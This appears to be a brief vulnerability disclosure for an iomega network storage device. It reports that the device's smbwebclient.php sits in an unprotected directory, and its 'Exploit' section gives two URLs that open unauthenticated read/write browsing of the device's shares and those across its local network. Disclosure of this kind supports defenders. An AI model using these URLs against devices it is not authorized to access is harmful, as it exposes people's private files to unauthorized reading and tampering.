Details
-----------------------------
iomega chose to use smbwebclient to allow users of its product to
access files shared by the device via their web browser. However,
smbwebclient is in an unprotected directory allowing access without
authentication. smbwebclient grants the user full browser-based
read/write access to any visible shares on the device itself OR the
rest of the device's local network (assuming the shares' permissions
grant said access).

-----------------------------
Exploit
-----------------------------
View shares on device:
http://[DEVICE IP OR HOSTNAME]/cgi-bin/smbwebclient.php?path=WORKGROUP%2F[DEVICE NAME]
(Device name is found in title of webpage on root directory of device)

View all shares on device's local network:
http://[DEVICE IP OR HOSTNAME]/cgi-bin/smbwebclient.php
